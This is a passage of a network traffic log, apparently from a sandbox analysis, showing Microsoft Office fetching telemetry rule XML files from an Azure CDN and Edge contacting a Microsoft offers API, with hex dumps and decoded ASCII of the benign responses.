I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49742	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055921Z-16849878b78qfbkc5yywmsbg0c00000005w0000000001zvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49745	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: c3a6d21e-601e-00ab-1dc6-2766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055921Z-r197bdfb6b48v72xb403uy6hns00000006qg0000000073t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49744	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055921Z-15b8d89586fst84k5f3z220tec0000000q500000000059n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49743	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 23ba7a24-801e-0015-5af3-24f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055921Z-17c5cb586f6b6kj91vqtm6kxaw00000004s000000000bz82 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49741	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055921Z-16849878b78qfbkc5yywmsbg0c00000005pg00000000me1b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49748	94.245.104.56	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:23 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:23 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 29 Oct 2024 05:59:22 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=804290944654d214e7119f66fc259bfb481a191f88b533c7f7ba20bb91b80bed;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=804290944654d214e7119f66fc259bfb481a191f88b533c7f7ba20bb91b80bed;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49756	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055923Z-16849878b78j7llf5vkyvvcehs0000000770000000007cv6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49757	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:23 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:23 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d6813257-101e-0034-034f-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055923Z-15b8d89586f989rkwt13xern5400000001dg00000000718y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49754	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055923Z-16849878b78fssff8btnns3b1400000006g0000000000q98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
